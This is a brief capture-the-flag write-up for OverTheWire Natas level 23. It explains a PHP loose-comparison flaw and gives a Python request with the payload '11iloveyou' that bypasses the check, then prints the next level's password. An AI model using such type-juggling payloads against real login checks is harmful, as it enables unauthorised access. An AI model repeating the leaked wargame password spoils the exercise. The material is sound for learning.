Writeups OverTheWireNatasWebPHPType Juggling

Natas 23 Writeup - OverTheWire

Writeup for Natas level 23 from OverTheWire: exploiting loose PHP type comparison.

Contents

Wargame: Natas

Level: 23

Category: Web Security

Description

The PHP check is strstr($password, "iloveyou") && $password > 10. PHP’s > performs loose numeric comparison: a string starting with a number greater than 10 followed by “iloveyou” satisfies both conditions.

Overview

Solution

response = requests.get(url, auth=("natas23", current_password), params={"passwd": "11iloveyou"})
result = re.search(r"The password for natas24 is (.*)", response.text).group(1).strip()

Password

0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r

← Back to Blog